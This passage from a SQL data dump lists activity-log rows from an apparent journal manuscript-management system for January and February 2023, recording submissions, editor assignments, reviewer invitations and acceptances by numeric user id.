Reviewer',13406,'Publisher',376),(124489,'2023-01-21 10:04:30','Publisher has Invited Reviewer',13406,'Publisher',376),(124490,'2023-01-21 10:04:35','Publisher has Invited Reviewer',13406,'Publisher',376),(124491,'2023-01-21 12:41:54','Editor has Accepted to review Manuscript',13431,'Editor',1452),(124492,'2023-01-21 12:42:07','Editor has Accepted to review Manuscript',13429,'Editor',1452),(124493,'2023-01-21 12:42:12','Editor has Accepted to review Manuscript',13430,'Editor',1452),(124494,'2023-01-21 12:42:29','Editor has been Editor Decision Accepted article',13431,'Editor',1452),(124495,'2023-01-21 12:42:39','Editor has been Editor Decision Accepted article',13430,'Editor',1452),(124496,'2023-01-21 12:42:52','Editor has been Editor Decision Accepted article',13429,'Editor',1452),(124497,'2023-01-21 13:58:42','Manuscript Submitted by Author using Submission form',13436,'Author',13618),(124498,'2023-01-21 16:14:15','Manuscript Submitted by Publisher',13437,'',1279),(124499,'2023-01-22 11:54:46','Manuscript Submitted by Author using Submission form',13438,'Author',13619),(124500,'2023-01-23 11:37:55','Publisher has been Assigned Editor',13375,'Publisher',75),(124501,'2023-01-23 13:15:36','Reviewer has submitted comments',13431,'Reviewer',7213),(124502,'2023-01-23 13:20:46','Reviewer has submitted comments',13431,'Reviewer',7212),(124503,'2023-01-23 13:24:21','Reviewer has submitted comments',13431,'Reviewer',9159),(124504,'2023-01-23 13:26:34','Publisher: Accept Notification has been sent to Author',13431,'Publisher',376),(124505,'2023-01-23 13:38:01','Publisher has been Assigned Editor',13376,'Publisher',75),(124506,'2023-01-23 13:38:40','Publisher has been Assigned Editor',13377,'Publisher',75),(124507,'2023-01-23 13:38:52','Publisher has been Assigned Editor',13380,'Publisher',75),(124508,'2023-01-23 13:39:04','Publisher has been Assigned Editor',13379,'Publisher',75),(124509,'2023-01-23 13:39:16','Publisher has been Assigned Editor',13378,'Publisher',75),(124510,'2023-01-23 13:44:10','Editor has Accepted to review Manuscript',13365,'Editor',160),(124511,'2023-01-23 13:44:15','Editor has been Editor Decision Accepted article',13365,'Editor',160),(124512,'2023-01-23 13:44:15','Editor has been Editor Decision Accepted article',13365,'Editor',160),(124513,'2023-01-23 13:45:06','Editor has Accepted to review Manuscript',13375,'Editor',161),(124514,'2023-01-23 13:45:13','Editor has been Editor Decision Accepted article',13375,'Editor',161),(124515,'2023-01-23 13:45:13','Editor has been Editor Decision Accepted article',13375,'Editor',161),(124516,'2023-01-23 13:45:45','Editor has Accepted to review Manuscript',13376,'Editor',162),(124517,'2023-01-23 13:45:52','Editor has been Editor Decision Accepted article',13376,'Editor',162),(124518,'2023-01-23 13:45:52','Editor has been Editor Decision Accepted article',13376,'Editor',162),(124519,'2023-01-23 13:45:56','Editor has Accepted to review Manuscript',13377,'Editor',162),(124520,'2023-01-23 13:46:02','Editor has been Editor Decision Accepted article',13377,'Editor',162),(124521,'2023-01-23 13:46:02','Editor has been Editor Decision Accepted article',13377,'Editor',162),(124522,'2023-01-23 13:46:07','Editor has Accepted to review Manuscript',13378,'Editor',162),(124523,'2023-01-23 13:46:11','Editor has been Editor Decision Accepted article',13378,'Editor',162),(124524,'2023-01-23 13:46:11','Editor has been Editor Decision Accepted article',13378,'Editor',162),(124525,'2023-01-23 13:46:18','Editor has Accepted to review Manuscript',13379,'Editor',162),(124526,'2023-01-23 13:46:23','Editor has been Editor Decision Accepted article',13379,'Editor',162),(124527,'2023-01-23 13:46:23','Editor has been Editor Decision Accepted article',13379,'Editor',162),(124528,'2023-01-23 13:46:28','Editor has Accepted to review Manuscript',13380,'Editor',162),(124529,'2023-01-23 13:46:33','Editor has been Editor Decision Accepted article',13380,'Editor',162),(124530,'2023-01-23 13:46:34','Editor has been Editor Decision Accepted article',13380,'Editor',162),(124531,'2023-01-23 13:58:37','Publisher has been Accepted Articles  article',13365,'Publisher',75),(124532,'2023-01-23 13:59:07','Publisher has been Accepted Articles  article',13375,'Publisher',75),(124533,'2023-01-23 13:59:42','Publisher has been Accepted Articles  article',13376,'Publisher',75),(124534,'2023-01-23 13:59:43','Publisher has been Accepted Articles  article',13376,'Publisher',75),(124535,'2023-01-23 14:00:01','Publisher has been Accepted Articles  article',13377,'Publisher',75),(124536,'2023-01-23 14:00:18','Publisher has been Accepted Articles  article',13378,'Publisher',75),(124537,'2023-01-23 14:00:47','Publisher has been Accepted Articles  article',13379,'Publisher',75),(124538,'2023-01-23 14:01:06','Publisher has been Accepted Articles  article',13380,'Publisher',75),(124539,'2023-01-23 16:36:33','Publisher has been Assigned Editor',13436,'Publisher',972),(124540,'2023-01-24 10:42:53','Publisher has been Assigned Editor',13438,'Publisher',48),(124541,'2023-01-24 12:02:04','Manuscript Submitted by Publisher',13442,'Publisher',645),(124542,'2023-01-24 14:25:33','Editor has Accepted to review Manuscript',13357,'Editor',1779),(124543,'2023-01-24 14:25:44','Editor has been Editor Decision Accepted article',13357,'Editor',1779),(124544,'2023-01-24 14:25:52','Editor has Accepted to review Manuscript',13400,'Editor',1779),(124545,'2023-01-24 14:26:04','Editor has been Editor Decision Accepted article',13400,'Editor',1779),(124546,'2023-01-24 14:28:02','Editor has Accepted to review Manuscript',13398,'Editor',1410),(124547,'2023-01-24 14:28:12','Editor has been Editor Decision Accepted article',13398,'Editor',1410),(124548,'2023-01-24 14:28:32','Editor has Accepted to review Manuscript',13401,'Editor',1783),(124549,'2023-01-24 14:28:42','Editor has been Editor Decision Accepted article',13401,'Editor',1783),(124550,'2023-01-24 14:28:49','Editor has been Editor Decision Accepted article',13401,'Editor',1783),(124551,'2023-01-24 14:35:00','Publisher has been Accepted Articles  article',13357,'Publisher',988),(124552,'2023-01-24 14:35:37','Publisher has been Accepted Articles  article',13398,'Publisher',988),(124553,'2023-01-24 14:36:06','Publisher has been Accepted Articles  article',13400,'Publisher',988),(124554,'2023-01-24 14:36:33','Publisher has been Accepted Articles  article',13401,'Publisher',988),(124555,'2023-01-24 17:24:47','Publisher has been Assigned Editor',6114,'',1503),(124556,'2023-01-25 11:58:28','Publisher has been Accepted Articles  article',13415,'Publisher',319),(124557,'2023-01-25 11:59:11','Publisher has been Accepted Articles  article',13414,'Publisher',319),(124558,'2023-01-25 11:59:26','Publisher has been Accepted Articles  article',13413,'Publisher',319),(124559,'2023-01-25 11:59:42','Publisher has been Accepted Articles  article',13412,'Publisher',319),(124560,'2023-01-25 12:00:10','Publisher has been Accepted Articles  article',13411,'Publisher',319),(124561,'2023-01-25 14:53:15','Manuscript Submitted by Publisher',13445,'Publisher',673),(124562,'2023-01-25 14:54:14','Manuscript Submitted by Publisher',13446,'Publisher',673),(124563,'2023-01-25 14:55:11','Manuscript Submitted by Publisher',13447,'Publisher',673),(124564,'2023-01-25 14:56:21','Manuscript Submitted by Publisher',13448,'Publisher',673),(124565,'2023-01-25 15:07:22','Editor has Accepted to review Manuscript',13436,'Editor',1787),(124566,'2023-01-25 15:09:14','Publisher has Invited Reviewer',13436,'Publisher',972),(124567,'2023-01-25 15:09:19','Publisher has Invited Reviewer',13436,'Publisher',972),(124568,'2023-01-25 15:09:23','Publisher has Invited Reviewer',13436,'Publisher',972),(124569,'2023-01-25 15:09:28','Publisher has Invited Reviewer',13436,'Publisher',972),(124570,'2023-01-25 15:18:06','Publisher has been Accepted Articles  article',13126,'',1434),(124571,'2023-01-25 15:19:36','Publisher has been Accepted Articles  article',13140,'',1466),(124572,'2023-01-25 15:26:52','Publisher has been Accepted Articles  article',13142,'',1323),(124573,'2023-01-25 15:30:00','Publisher has been Accepted Articles  article',13141,'',1466),(124574,'2023-01-25 16:56:41','Manuscript Submitted by Publisher',13449,'',1212),(124575,'2023-01-27 10:33:04','Publisher has been Withdrawn  article',13352,'Publisher',75),(124576,'2023-01-27 10:57:44','Publisher has been Assigned Editor',13442,'Publisher',645),(124577,'2023-01-27 11:53:49','Publisher has been Assigned Editor',13448,'Publisher',673),(124578,'2023-01-27 11:54:19','Publisher has been Assigned Editor',13447,'Publisher',673),(124579,'2023-01-27 12:01:55','Publisher has been Assigned Editor',13449,'',1212),(124580,'2023-01-27 12:18:19','Publisher has Invited Reviewer',13447,'Publisher',673),(124581,'2023-01-27 12:18:25','Publisher has Invited Reviewer',13447,'Publisher',673),(124582,'2023-01-27 12:18:33','Publisher has Invited Reviewer',13447,'Publisher',673),(124583,'2023-01-27 12:18:40','Publisher has Invited Reviewer',13447,'Publisher',673),(124584,'2023-01-27 12:18:45','Publisher has Invited Reviewer',13447,'Publisher',673),(124585,'2023-01-27 12:19:29','Publisher has Invited Reviewer',13448,'Publisher',673),(124586,'2023-01-27 12:19:37','Publisher has Invited Reviewer',13448,'Publisher',673),(124587,'2023-01-27 12:19:43','Publisher has Invited Reviewer',13448,'Publisher',673),(124588,'2023-01-27 12:19:48','Publisher has Invited Reviewer',13448,'Publisher',673),(124589,'2023-01-27 12:19:54','Publisher has Invited Reviewer',13448,'Publisher',673),(124590,'2023-01-27 12:19:59','Publisher has Invited Reviewer',13448,'Publisher',673),(124591,'2023-01-27 12:26:18','Reviewer has submitted comments',13422,'Reviewer',21475),(124592,'2023-01-27 12:27:42','Editor has Accepted to review Manuscript',13422,'Editor',1783),(124593,'2023-01-27 12:27:55','Editor has been Editor Decision Accepted article',13422,'Editor',1783),(124594,'2023-01-27 12:28:15','Manuscript Updated',13422,'Publisher',988),(124595,'2023-01-27 12:28:50','Publisher has been Accepted Articles  article',13422,'Publisher',988),(124596,'2023-01-27 12:28:59','Manuscript Updated',13422,'Publisher',988),(124597,'2023-01-27 12:34:03','Publisher has Invited Reviewer',13431,'Publisher',376),(124598,'2023-01-27 14:28:02','Manuscript Submitted by Publisher',13451,'Publisher',48),(124599,'2023-01-27 14:37:28','Publisher has been Assigned Editor',13446,'Publisher',673),(124600,'2023-01-27 14:37:40','Publisher has been Assigned Editor',13445,'Publisher',673),(124601,'2023-01-27 14:38:15','Publisher has Invited Reviewer',13446,'Publisher',673),(124602,'2023-01-27 14:38:20','Publisher has Invited Reviewer',13446,'Publisher',673),(124603,'2023-01-27 14:38:25','Publisher has Invited Reviewer',13446,'Publisher',673),(124604,'2023-01-27 14:38:30','Publisher has Invited Reviewer',13446,'Publisher',673),(124605,'2023-01-27 14:38:35','Publisher has Invited Reviewer',13446,'Publisher',673),(124606,'2023-01-27 14:38:40','Publisher has Invited Reviewer',13446,'Publisher',673),(124607,'2023-01-27 14:39:15','Publisher has Invited Reviewer',13445,'Publisher',673),(124608,'2023-01-27 14:39:20','Publisher has Invited Reviewer',13445,'Publisher',673),(124609,'2023-01-27 14:39:24','Publisher has Invited Reviewer',13445,'Publisher',673),(124610,'2023-01-27 14:39:29','Publisher has Invited Reviewer',13445,'Publisher',673),(124611,'2023-01-27 14:39:34','Publisher has Invited Reviewer',13445,'Publisher',673),(124612,'2023-01-27 14:39:39','Publisher has Invited Reviewer',13445,'Publisher',673),(124613,'2023-01-27 14:39:43','Publisher has Invited Reviewer',13445,'Publisher',673),(124614,'2023-01-28 09:37:14','Publisher has Invited Reviewer',13436,'Publisher',972),(124615,'2023-01-28 09:37:19','Publisher has Invited Reviewer',13436,'Publisher',972),(124616,'2023-01-28 09:37:24','Publisher has Invited Reviewer',13436,'Publisher',972),(124617,'2023-01-28 09:37:57','Publisher has Invited Reviewer',13436,'Publisher',972),(124618,'2023-01-28 10:00:31','Reviewer has submitted comments',13448,'Reviewer',11355),(124619,'2023-01-28 10:02:18','Reviewer has submitted comments',13447,'Reviewer',15186),(124620,'2023-01-28 10:04:13','Reviewer has submitted comments',13445,'Reviewer',16332),(124621,'2023-01-28 10:06:54','Reviewer has submitted comments',13432,'Reviewer',19638),(124622,'2023-01-28 10:08:10','Editor has Accepted to review Manuscript',13447,'Editor',1370),(124623,'2023-01-28 10:08:14','Editor has Accepted to review Manuscript',13445,'Editor',1370),(124624,'2023-01-28 10:08:17','Editor has Accepted to review Manuscript',13432,'Editor',1370),(124625,'2023-01-28 10:08:32','Editor has been Editor Decision Accepted article',13447,'Editor',1370),(124626,'2023-01-28 10:08:49','Editor has been Editor Decision Accepted article',13445,'Editor',1370),(124627,'2023-01-28 10:09:01','Editor has been Editor Decision Accepted article',13432,'Editor',1370),(124628,'2023-01-28 10:10:10','Editor has Accepted to review Manuscript',13448,'Editor',1456),(124629,'2023-01-28 10:10:21','Editor has Accepted to review Manuscript',13446,'Editor',1456),(124630,'2023-01-28 10:10:32','Editor has been Editor Decision Accepted article',13448,'Editor',1456),(124631,'2023-01-28 10:10:46','Editor has been Editor Decision Accepted article',13446,'Editor',1456),(124632,'2023-01-28 10:22:36','Publisher has Invited Reviewer',13438,'Publisher',48),(124633,'2023-01-28 10:22:40','Publisher has Invited Reviewer',13438,'Publisher',48),(124634,'2023-01-28 10:22:45','Publisher has Invited Reviewer',13438,'Publisher',48),(124635,'2023-01-28 10:22:51','Publisher has Invited Reviewer',13438,'Publisher',48),(124636,'2023-01-28 10:22:55','Publisher has Invited Reviewer',13438,'Publisher',48),(124637,'2023-01-28 10:23:01','Publisher has Invited Reviewer',13438,'Publisher',48),(124638,'2023-01-28 10:23:07','Publisher has Invited Reviewer',13438,'Publisher',48),(124639,'2023-01-28 11:39:41','Manuscript Submitted by Author using Submission form',13452,'Author',13631),(124640,'2023-01-28 11:41:20','Manuscript Submitted by Author using Submission form',13453,'Author',13632),(124641,'2023-01-28 11:43:48','Manuscript Submitted by Author using Submission form',13454,'Author',13633),(124642,'2023-01-28 11:46:08','Manuscript Submitted by Author using Submission form',13455,'Author',13634),(124643,'2023-01-28 11:48:22','Manuscript Submitted by Author using Submission form',13456,'Author',13635),(124644,'2023-01-28 11:53:25','Manuscript Submitted by Author using Submission form',13457,'Author',13636),(124645,'2023-01-28 11:55:01','Manuscript Submitted by Author using Submission form',13458,'Author',13637),(124646,'2023-01-28 12:06:47','Manuscript Submitted by Author using Submission form',13459,'Author',13638),(124647,'2023-01-28 12:54:16','Manuscript Submitted by Author using Submission form',13460,'Author',13639),(124648,'2023-01-28 13:02:25','Manuscript Submitted by Author using Submission form',13461,'Author',13640),(124649,'2023-01-29 02:10:01','Manuscript Submitted by Author using Submission form',13462,'Author',13641),(124650,'2023-01-29 17:37:43','Author sent Email',13436,'Author',13618),(124651,'2023-01-30 09:50:27','Manuscript Updated',13448,'Publisher',673),(124652,'2023-01-30 09:50:47','Publisher has been Accepted Articles  article',13448,'Publisher',673),(124653,'2023-01-30 09:51:14','Manuscript Updated',13447,'Publisher',673),(124654,'2023-01-30 09:51:26','Publisher has been Accepted Articles  article',13447,'Publisher',673),(124655,'2023-01-30 09:51:43','Manuscript Updated',13446,'Publisher',673),(124656,'2023-01-30 09:52:01','Publisher has been Accepted Articles  article',13446,'Publisher',673),(124657,'2023-01-30 09:52:22','Manuscript Updated',13445,'Publisher',673),(124658,'2023-01-30 09:52:35','Publisher has been Accepted Articles  article',13445,'Publisher',673),(124659,'2023-01-30 09:52:54','Publisher has been Accepted Articles  article',13432,'Publisher',673),(124660,'2023-01-30 10:38:52','Editor has been Editor Decision Accepted article',13406,'Editor',1012),(124661,'2023-01-30 10:39:33','Editor has Accepted to review Manuscript',13428,'Editor',1705),(124662,'2023-01-30 10:39:46','Editor has been Editor Decision Accepted article',13428,'Editor',1705),(124663,'2023-01-30 10:46:14','Reviewer has submitted comments',13428,'Reviewer',7286),(124664,'2023-01-30 10:47:11','Reviewer has submitted comments',13429,'Reviewer',7286),(124665,'2023-01-30 10:48:28','Reviewer has submitted comments',13430,'Reviewer',7286),(124666,'2023-01-30 10:52:27','Reviewer has submitted comments',13428,'Reviewer',9135),(124667,'2023-01-30 10:53:43','Reviewer has submitted comments',13429,'Reviewer',9135),(124668,'2023-01-30 10:54:18','Reviewer has submitted comments',13430,'Reviewer',9135),(124669,'2023-01-30 10:57:05','Reviewer has submitted comments',13406,'Reviewer',12263),(124670,'2023-01-30 10:58:45','Reviewer has submitted comments',13406,'Reviewer',12264),(124671,'2023-01-30 14:12:26','Manuscript Submitted by Publisher',13463,'Publisher',376),(124672,'2023-01-30 14:13:19','Publisher has been Assigned Editor',13458,'Publisher',1033),(124673,'2023-01-30 14:13:32','Publisher has been Assigned Editor',13457,'Publisher',1033),(124674,'2023-01-30 14:13:44','Publisher has been Assigned Editor',13456,'Publisher',1033),(124675,'2023-01-30 14:14:28','Publisher has been Assigned Editor',13455,'Publisher',1033),(124676,'2023-01-30 14:14:42','Publisher has been Assigned Editor',13454,'Publisher',1033),(124677,'2023-01-31 09:28:42','Publisher has been Assigned Editor',13460,'Publisher',673),(124678,'2023-01-31 09:36:27','Publisher has been Assigned Editor',13461,'Publisher',972),(124679,'2023-01-31 09:36:57','Publisher has been Assigned Editor',13459,'Publisher',972),(124680,'2023-01-31 09:37:11','Publisher has been Assigned Editor',13453,'Publisher',972),(124681,'2023-01-31 09:37:49','Publisher has been Assigned Editor',13452,'Publisher',972),(124682,'2023-01-31 09:38:29','Publisher has Invited Reviewer',13461,'Publisher',972),(124683,'2023-01-31 09:38:34','Publisher has Invited Reviewer',13461,'Publisher',972),(124684,'2023-01-31 09:38:38','Publisher has Invited Reviewer',13461,'Publisher',972),(124685,'2023-01-31 09:39:24','Publisher has Invited Reviewer',13459,'Publisher',972),(124686,'2023-01-31 09:39:29','Publisher has Invited Reviewer',13459,'Publisher',972),(124687,'2023-01-31 09:39:34','Publisher has Invited Reviewer',13459,'Publisher',972),(124688,'2023-01-31 09:39:38','Publisher has Invited Reviewer',13459,'Publisher',972),(124689,'2023-01-31 09:40:43','Publisher has Invited Reviewer',13453,'Publisher',972),(124690,'2023-01-31 09:40:48','Publisher has Invited Reviewer',13453,'Publisher',972),(124691,'2023-01-31 09:40:53','Publisher has Invited Reviewer',13453,'Publisher',972),(124692,'2023-01-31 09:41:21','Publisher has Invited Reviewer',13452,'Publisher',972),(124693,'2023-01-31 09:41:26','Publisher has Invited Reviewer',13452,'Publisher',972),(124694,'2023-01-31 09:41:31','Publisher has Invited Reviewer',13452,'Publisher',972),(124695,'2023-01-31 09:41:36','Publisher has Invited Reviewer',13452,'Publisher',972),(124696,'2023-01-31 09:41:41','Publisher has Invited Reviewer',13452,'Publisher',972),(124697,'2023-01-31 09:41:45','Publisher has Invited Reviewer',13452,'Publisher',972),(124698,'2023-01-31 10:23:43','Publisher has been Accepted Articles  article',2765,'',1491),(124699,'2023-01-31 10:28:38','Publisher has been Accepted Articles  article',3131,'',1491),(124700,'2023-01-31 11:33:31','Editor has Accepted to review Manuscript',13442,'Editor',1708),(124701,'2023-01-31 11:33:49','Editor has been Editor Decision Accepted article',13442,'Editor',1708),(124702,'2023-01-31 11:33:56','Editor has Accepted to review Manuscript',12978,'Editor',1708),(124703,'2023-01-31 11:34:06','Editor has been Editor Decision Accepted article',12978,'Editor',1708),(124704,'2023-01-31 11:34:13','Editor has Accepted to review Manuscript',12900,'Editor',1708),(124705,'2023-01-31 11:34:22','Editor has been Editor Decision Accepted article',12900,'Editor',1708),(124706,'2023-01-31 11:34:29','Editor has Accepted to review Manuscript',11620,'Editor',1708),(124707,'2023-01-31 11:34:43','Editor has been Editor Decision Accepted article',11620,'Editor',1708),(124708,'2023-01-31 11:35:19','Publisher has Invited Reviewer',13442,'Publisher',645),(124709,'2023-01-31 11:35:24','Publisher has Invited Reviewer',13442,'Publisher',645),(124710,'2023-01-31 11:35:42','Publisher has Invited Reviewer',13442,'Publisher',645),(124711,'2023-01-31 11:35:47','Publisher has Invited Reviewer',13442,'Publisher',645),(124712,'2023-01-31 11:35:52','Publisher has Invited Reviewer',13442,'Publisher',645),(124713,'2023-01-31 11:35:57','Publisher has Invited Reviewer',13442,'Publisher',645),(124714,'2023-01-31 11:36:01','Publisher has Invited Reviewer',13442,'Publisher',645),(124715,'2023-01-31 11:36:06','Publisher has Invited Reviewer',13442,'Publisher',645),(124716,'2023-01-31 11:36:22','Publisher has Invited Reviewer',13442,'Publisher',645),(124717,'2023-01-31 11:36:36','Publisher has Invited Reviewer',13442,'Publisher',645),(124718,'2023-01-31 11:36:40','Publisher has Invited Reviewer',13442,'Publisher',645),(124719,'2023-01-31 11:36:45','Publisher has Invited Reviewer',13442,'Publisher',645),(124720,'2023-01-31 11:36:50','Publisher has Invited Reviewer',13442,'Publisher',645),(124721,'2023-01-31 11:36:55','Publisher has Invited Reviewer',13442,'Publisher',645),(124722,'2023-01-31 11:37:00','Publisher has Invited Reviewer',13442,'Publisher',645),(124723,'2023-01-31 11:37:05','Publisher has Invited Reviewer',13442,'Publisher',645),(124724,'2023-01-31 11:37:10','Publisher has Invited Reviewer',13442,'Publisher',645),(124725,'2023-01-31 11:39:12','Publisher has Invited Reviewer',13442,'Publisher',645),(124726,'2023-01-31 11:39:17','Publisher has Invited Reviewer',13442,'Publisher',645),(124727,'2023-01-31 13:06:57','Publisher has been Assigned Editor',13451,'Publisher',48),(124728,'2023-01-31 14:14:03','Publisher has Invited Reviewer',13451,'Publisher',48),(124729,'2023-01-31 14:14:08','Publisher has Invited Reviewer',13451,'Publisher',48),(124730,'2023-01-31 14:14:13','Publisher has Invited Reviewer',13451,'Publisher',48),(124731,'2023-01-31 14:14:18','Publisher has Invited Reviewer',13451,'Publisher',48),(124732,'2023-01-31 14:14:23','Publisher has Invited Reviewer',13451,'Publisher',48),(124733,'2023-01-31 14:14:27','Publisher has Invited Reviewer',13451,'Publisher',48),(124734,'2023-01-31 14:14:32','Publisher has Invited Reviewer',13451,'Publisher',48),(124735,'2023-01-31 16:29:29','Manuscript Submitted by Author using Submission form',13469,'Author',13647),(124736,'2023-01-31 17:38:09','Publisher has been Assigned Editor',13463,'Publisher',376),(124737,'2023-01-31 17:41:20','Publisher has Invited Reviewer',13463,'Publisher',376),(124738,'2023-01-31 17:41:25','Publisher has Invited Reviewer',13463,'Publisher',376),(124739,'2023-01-31 17:41:30','Publisher has Invited Reviewer',13463,'Publisher',376),(124740,'2023-01-31 17:41:34','Publisher has Invited Reviewer',13463,'Publisher',376),(124741,'2023-01-31 18:01:18','Publisher has Invited Reviewer',13460,'Publisher',673),(124742,'2023-01-31 18:01:23','Publisher has Invited Reviewer',13460,'Publisher',673),(124743,'2023-01-31 18:01:28','Publisher has Invited Reviewer',13460,'Publisher',673),(124744,'2023-01-31 18:01:33','Publisher has Invited Reviewer',13460,'Publisher',673),(124745,'2023-01-31 18:01:38','Publisher has Invited Reviewer',13460,'Publisher',673),(124746,'2023-01-31 18:01:42','Publisher has Invited Reviewer',13460,'Publisher',673),(124747,'2023-01-31 18:01:47','Publisher has Invited Reviewer',13460,'Publisher',673),(124748,'2023-01-31 18:01:52','Publisher has Invited Reviewer',13460,'Publisher',673),(124749,'2023-01-31 18:01:57','Publisher has Invited Reviewer',13460,'Publisher',673),(124750,'2023-01-31 18:02:02','Publisher has Invited Reviewer',13460,'Publisher',673),(124751,'2023-01-31 18:02:06','Publisher has Invited Reviewer',13460,'Publisher',673),(124752,'2023-01-31 18:02:11','Publisher has Invited Reviewer',13460,'Publisher',673),(124753,'2023-01-31 18:02:16','Publisher has Invited Reviewer',13460,'Publisher',673),(124754,'2023-01-31 18:02:21','Publisher has Invited Reviewer',13460,'Publisher',673),(124755,'2023-01-31 18:02:26','Publisher has Invited Reviewer',13460,'Publisher',673),(124756,'2023-01-31 18:02:31','Publisher has Invited Reviewer',13460,'Publisher',673),(124757,'2023-01-31 18:02:35','Publisher has Invited Reviewer',13460,'Publisher',673),(124758,'2023-01-31 18:02:40','Publisher has Invited Reviewer',13460,'Publisher',673),(124759,'2023-02-01 10:16:18','Publisher has been Assigned Editor',13462,'Publisher',984),(124760,'2023-02-01 10:32:18','Editor has Accepted to review Manuscript',13463,'Editor',1011),(124761,'2023-02-01 10:32:32','Editor has been Editor Decision Accepted article',13463,'Editor',1011),(124762,'2023-02-01 10:38:01','Publisher has been Assigned Editor',13469,'Publisher',75),(124763,'2023-02-01 10:39:55','Publisher has Invited Reviewer',13469,'Publisher',75),(124764,'2023-02-01 10:40:00','Publisher has Invited Reviewer',13469,'Publisher',75),(124765,'2023-02-01 10:40:05','Publisher has Invited Reviewer',13469,'Publisher',75),(124766,'2023-02-01 10:40:40','Publisher has Invited Reviewer',13469,'Publisher',75),(124767,'2023-02-01 10:40:44','Publisher has Invited Reviewer',13469,'Publisher',75),(124768,'2023-02-01 10:40:49','Publisher has Invited Reviewer',13469,'Publisher',75),(124769,'2023-02-01 10:40:54','Publisher has Invited Reviewer',13469,'Publisher',75),(124770,'2023-02-01 10:40:59','Publisher has Invited Reviewer',13469,'Publisher',75),(124771,'2023-02-01 10:43:18','Reviewer has submitted comments',13463,'Reviewer',7212),(124772,'2023-02-01 10:45:06','Reviewer has submitted comments',13463,'Reviewer',9159),(124773,'2023-02-01 10:46:39','Reviewer has submitted comments',13463,'Reviewer',7213),(124774,'2023-02-01 10:47:32','Reviewer has submitted comments',13463,'Reviewer',9155),(124775,'2023-02-01 10:48:29','Publisher: Accept Notification has been sent to Author',13463,'Publisher',376),(124776,'2023-02-01 11:24:37','Publisher has Invited Reviewer',13469,'Publisher',75),(124777,'2023-02-01 11:25:59','Publisher has Invited Reviewer',13469,'Publisher',75),(124778,'2023-02-01 11:29:18','Publisher has Invited Reviewer',13469,'Publisher',75),(124779,'2023-02-01 11:29:23','Publisher has Invited Reviewer',13469,'Publisher',75),(124780,'2023-02-01 11:30:55','Publisher has Invited Reviewer',13469,'Publisher',75),(124781,'2023-02-01 16:45:43','Publisher has been Assigned Editor',13435,'Publisher',984),(124782,'2023-02-01 16:46:10','Publisher has been Assigned Editor',13434,'Publisher',984),(124783,'2023-02-01 16:46:33','Publisher has been Assigned Editor',13433,'Publisher',984),(124784,'2023-02-01 23:04:05','Reviewer has submitted comments',13469,'Reviewer',21529),(124785,'2023-02-03 10:46:41','Reviewer has submitted comments',13436,'Reviewer',17211),(124786,'2023-02-03 10:48:17','Editor has been Editor Decision Accepted article',13436,'Editor',1787),(124787,'2023-02-03 10:48:50','Manuscript Updated',13436,'Publisher',972),(124788,'2023-02-03 10:49:23','Publisher has been Accepted Articles  article',13436,'Publisher',972),(124789,'2023-02-03 10:49:35','Manuscript Updated',13436,'Publisher',972),(124790,'2023-02-06 10:40:22','Manuscript Updated',13463,'Publisher',376),(124791,'2023-02-06 10:40:54','Publisher has been Accepted Articles  article',13463,'Publisher',376),(124792,'2023-02-06 10:41:00','Publisher has been Accepted Articles  article',13463,'Publisher',376),(124793,'2023-02-06 10:41:56','Manuscript Updated',13429,'Publisher',376),(124794,'2023-02-06 10:42:25','Publisher has been Accepted Articles  article',13429,'Publisher',376),(124795,'2023-02-06 10:42:47','Manuscript Updated',13428,'Publisher',376),(124796,'2023-02-06 10:43:10','Publisher has been Accepted Articles  article',13428,'Publisher',376),(124797,'2023-02-06 10:43:41','Manuscript Updated',13406,'Publisher',376),(124798,'2023-02-06 10:44:01','Publisher has been Accepted Articles  article',13406,'Publisher',376),(124799,'2023-02-06 10:46:50','Reviewer has submitted comments',13431,'Reviewer',21547),(124800,'2023-02-06 10:48:54','Manuscript Updated',13431,'Publisher',376),(124801,'2023-02-06 10:49:47','Editor has been Editor Decision Accepted article',13431,'Editor',1452),(124802,'2023-02-06 10:50:59','Publisher: Accept Notification has been sent to Author',13431,'Publisher',376),(124803,'2023-02-06 10:51:31','Publisher has been Accepted Articles  article',13431,'Publisher',376),(124804,'2023-02-06 10:59:54','Manuscript Submitted by Publisher',13477,'Publisher',48),(124805,'2023-02-06 11:44:58','Reviewer has submitted comments',13448,'Reviewer',11353),(124806,'2023-02-06 14:19:35','Reviewer has submitted comments',13446,'Reviewer',11353),(124807,'2023-02-06 15:35:04','Manuscript Submitted by Author using Submission form',13478,'Author',13655),(124808,'2023-02-06 15:41:42','Manuscript Submitted by Author using Submission form',13479,'Author',13656),(124809,'2023-02-06 15:48:18','Reviewer has submitted comments',13208,'Reviewer',12867),(124810,'2023-02-06 15:48:53','Editor has Accepted to review Manuscript',13208,'Editor',193),(124811,'2023-02-06 15:49:05','Editor has been Editor Decision Accepted article',13208,'Editor',193),(124812,'2023-02-06 15:49:52','Publisher: Accept Notification has been sent to Author',13208,'Publisher',48),(124813,'2023-02-06 15:50:14','Publisher has been Accepted Articles  article',13208,'Publisher',48),(124814,'2023-02-06 15:54:32','Manuscript Submitted by Author using Submission form',13480,'Author',13657),(124815,'2023-02-06 16:02:47','Manuscript Submitted by Author using Submission form',13481,'Author',13658),(124816,'2023-02-06 16:39:19','Manuscript Submitted by Author using Submission form',13482,'Author',13659),(124817,'2023-02-06 18:02:35','Editor has Accepted to review Manuscript',13458,'Editor',1740),(124818,'2023-02-06 18:02:44','Editor has been Editor Decision Accepted article',13458,'Editor',1740),(124819,'2023-02-06 18:02:53','Editor has Accepted to review Manuscript',13457,'Editor',1740),(124820,'2023-02-06 18:03:03','Editor has been Editor Decision Accepted article',13457,'Editor',1740),(124821,'2023-02-06 18:03:11','Editor has Accepted to review Manuscript',13456,'Editor',1740),(124822,'2023-02-06 18:03:20','Editor has been Editor Decision Accepted article',13456,'Editor',1740),(124823,'2023-02-06 18:03:31','Editor has been Editor Decision Accepted article',13456,'Editor',1740),(124824,'2023-02-06 18:03:39','Editor has Accepted to review Manuscript',13455,'Editor',1740),(124825,'2023-02-06 18:03:54','Editor has been Editor Decision Accepted article',13455,'Editor',1740),(124826,'2023-02-06 18:04:04','Editor has Accepted to review Manuscript',13454,'Editor',1740),(124827,'2023-02-06 18:04:19','Editor has been Editor Decision Accepted article',13454,'Editor',1740),(124828,'2023-02-06 18:05:22','Publisher has Invited Reviewer',13458,'Publisher',1033),(124829,'2023-02-06 18:05:27','Publisher has Invited Reviewer',13458,'Publisher',1033),(124830,'2023-02-06 18:06:01','Publisher has Invited Reviewer',13457,'Publisher',1033),(124831,'2023-02-06 18:06:07','Publisher has Invited 